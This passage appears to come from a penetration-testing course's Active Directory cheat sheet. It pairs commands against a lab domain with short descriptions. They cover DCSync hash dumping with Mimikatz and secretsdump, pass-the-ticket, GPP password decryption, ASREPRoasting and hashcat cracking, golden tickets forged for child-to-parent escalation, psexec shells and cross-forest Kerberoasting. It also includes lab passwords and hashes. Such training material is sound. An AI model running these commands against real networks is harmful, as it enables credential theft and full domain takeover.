python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$ | Used to submit TGS requests using getnthash.py from a Linux-based host. |
secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba | Impacket tool used to extract hashes from NTDS.dit using a DCSync attack and a captured hash (-hashes ). Performed from a Linux-based host. |
.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /<base64 certificate>=/ptt | Uses Rubeus to request a TGT and perform a pass-the-ticket attack using the machine account (/user:ACADEMY-EA-DC01$ ) of a Windows target. Performed from a Windows-based host. |
mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt | Performs a DCSync attack using Mimikatz . Performed from a Windows-based host. |
Miscellaneous Misconfigurations
Command | Description |
---|---|
Import-Module .\SecurityAssessment.ps1 | Used to import the module Security Assessment.ps1 . Performed from a Windows-based host. |
Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL | SecurityAssessment.ps1 based tool used to enumerate a Windows target for MS-PRN Printer bug . Performed from a Windows-based host. |
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 | Used to resolve all records in a DNS zone over LDAP from a Linux-based host. |
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r | Used to resolve unknown records in a DNS zone by performing an A query (-r ) from a Linux-based host. |
Get-DomainUser * \| Select-Object samaccountname,description | PowerView tool used to display the description field of select objects (Select-Object ) on a target Windows domain from a Windows-based host. |
Get-DomainUser -UACFilter PASSWD_NOTREQD \| Select-Object samaccountname,useraccountcontrol | PowerView tool used to check for the PASSWD_NOTREQD setting of select objects (Select-Object ) on a target Windows domain from a Windows-based host. |
ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts | Used to list the contents of a share hosted on a Windows target from the context of a currently logged on user. Performed from a Windows-based host. |
Group Policy Enumeration & Attacks
Command | Description |
---|---|
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE | Tool used to decrypt a captured group policy preference password from a Linux-based host. |
crackmapexec smb -L \| grep gpp | Locates and retrieves a group policy preference password using CrackMapExec , the filters the output using grep . Peformed from a Linux-based host. |
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin | Locates and retrieves any credentials stored in the SYSVOL share of a Windows target using CrackMapExec from a Linux-based host. |
Get-DomainGPO \| select displayname | PowerView tool used to enumerate GPO names in a target Windows domain from a Windows-based host. |
Get-GPO -All \| Select DisplayName | PowerShell cmd-let used to enumerate GPO names. Performed from a Windows-based host. |
$sid=Convert-NameToSid "Domain Users" | Creates a variable called $sid that is set equal to the Convert-NameToSid tool and specifies the group account Domain Users . Performed from a Windows-based host. |
Get-DomainGPO \| Get-ObjectAcl \| ?{$_.SecurityIdentifier -eq $sid | PowerView tool that is used to check if the Domain Users (eq $sid ) group has any rights over one or more GPOs. Performed from a Windows-based host. |
Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532 | PowerShell cmd-let used to display the name of a GPO given a GUID . Performed from a Windows-based host. |
ASREPRoasting
Command | Description |
---|---|
Get-DomainUser -PreauthNotRequired \| select samaccountname,userprincipalname,useraccountcontrol \| fl | PowerView based tool used to search for the DONT_REQ_PREAUTH value across in user accounts in a target Windows domain. Performed from a Windows-based host. |
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat | Uses Rubeus to perform an ASEP Roasting attack and formats the output for Hashcat . Performed from a Windows-based host. |
hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt | Uses Hashcat to attempt to crack the captured hash using a wordlist (rockyou.txt ). Performed from a Linux-based host. |
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt | Enumerates users in a target Windows domain and automatically retrieves the AS for any users found that don't require Kerberos pre-authentication. Performed from a Linux-based host. |
Trust Relationships - Child > Parent Trusts
Command | Description |
---|---|
Import-Module activedirectory | Used to import the Active Directory module. Performed from a Windows-based host. |
Get-ADTrust -Filter * | PowerShell cmd-let used to enumerate a target Windows domain's trust relationships. Performed from a Windows-based host. |
Get-DomainTrust | PowerView tool used to enumerate a target Windows domain's trust relationships. Performed from a Windows-based host. |
Get-DomainTrustMapping | PowerView tool used to perform a domain trust mapping from a Windows-based host. |
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL \| select SamAccountName | PowerView tools used to enumerate users in a target child domain from a Windows-based host. |
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt | Uses Mimikatz to obtain the KRBTGT account's NT Hash from a Windows-based host. |
Get-DomainSID | PowerView tool used to get the SID for a target child domain from a Windows-based host. |
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" \| select distinguishedname,objectsid | PowerView tool used to obtain the Enterprise Admins group's SID from a Windows-based host. |
ls \\academy-ea-dc01.inlanefreight.local\c$ | Used to attempt to list the contents of the C drive on a target Domain Controller. Performed from a Windows-based host. |
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt | Uses Mimikatz to create a Golden Ticket from a Windows-based host . |
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt | Uses Rubeus to create a Golden Ticket from a Windows-based host. |
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm | Uses Mimikatz to perform a DCSync attack from a Windows-based host. |
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt | Impacket tool used to perform a DCSync attack from a Linux-based host. |
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | Impacket tool used to perform a SID Brute forcing attack from a Linux-based host. |
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 \| grep "Domain SID" | Impacket tool used to retrieve the SID of a target Windows domain from a Linux-based host. |
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 \| grep -B12 "Enterprise Admins" | Impacket tool used to retrieve the SID of a target Windows domain and attach it to the Enterprise Admin group's RID from a Linux-based host. |
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker | Impacket tool used to create a Golden Ticket from a Linux-based host. |
export KRB5CCNAME=hacker.ccache | Used to set the KRB5CCNAME Environment Variable from a Linux-based host. |
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5 | Impacket tool used to establish a shell session with a target Domain Controller from a Linux-based host. |
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm | Impacket tool that automatically performs an attack that escalates from child to parent domain. |
Trust Relationships - Cross-Forest
Command | Description |
---|---|
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL \| select SamAccountName | PowerView tool used to enumerate accounts for associated SPNs from a Windows-based host. |
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc \| select samaccountname,memberof | PowerView tool used to enumerate the mssqlsvc account from a Windows-based host. |
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap | Uses Rubeus to perform a Kerberoasting Attack against a target Windows domain (/domain:FREIGHTLOGISTICS.local ) from a Windows-based host. |
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL | PowerView tool used to enumerate groups with users that do not belong to the domain from a Windows-based host. |
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator | PowerShell cmd-let used to remotely connect to a target Windows system from a Windows-based host. |
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley | Impacket tool used to request (-request ) the TGS ticket of an account in a target Windows domain (-target-domain ) from a Linux-based host. |
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2 | Runs the Python implementation of BloodHound against a target Windows domain from a Linux-based host. |
zip -r ilfreight_bh.zip *.json | Used to compress multiple files into 1 single .zip file to be uploaded into the BloodHound GUI. |